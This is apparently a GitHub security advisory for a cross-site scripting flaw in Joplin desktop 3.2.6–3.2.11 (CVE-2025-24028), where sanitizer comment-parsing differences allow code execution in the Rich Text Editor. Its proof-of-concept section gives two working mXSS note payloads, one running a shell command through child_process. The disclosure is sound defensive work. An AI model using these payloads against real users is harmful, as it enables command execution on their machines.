Skip to content

XSS in Rich Text Editor allows arbitrary code execution

High
laurent22 published GHSA-5w3c-wph9-hq92 Feb 7, 2025

Package

joplin-desktop

Affected versions

3.2.6 - 3.2.11

Patched versions

None

Description

Summary

An XSS vulnerability allows arbitrary code execution from the Rich Text Editor.

Details

The vulnerability is caused by differences between how Joplin's HTML sanitizer handles comments and how the browser handles comments. This affects both the Rich Text Editor and the Markdown viewer. However, unlike the Rich Text Editor, the Markdown viewer is cross-origin isolated, which prevents JavaScript from directly accessing functions/variables in the toplevel Joplin window.

This issue is not present in Joplin 3.1.24 and may have been introduced in 9b50539.

PoC

  1. Create a note with the following Markdown:
<!-- Based on a sample from https://github.com/SonarSource/mxss-cheatsheet/blob/master/examples.md -->
XSS 1:
<math><p></p><style><!--</style><img src/onerror=alert(1)>--></style></math>

XSS 2:
<!--a foo=--!><img src=x onerror="alert(2);top.require('child_process').exec('ls -la', (err, stdout) => {document.body.innerText = stdout})"><!--<a>">
  1. Switch to the Rich Text Editor.
  2. Observe that alert dialogs showing "1" then "2" are shown.
  3. Observe that the editor contains the output of ls -la.

Impact

This is an XSS vulnerability that impacts users that open untrusted notes in the Rich Text Editor.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVE ID

CVE-2025-24028

Weaknesses

No CWEs

Credits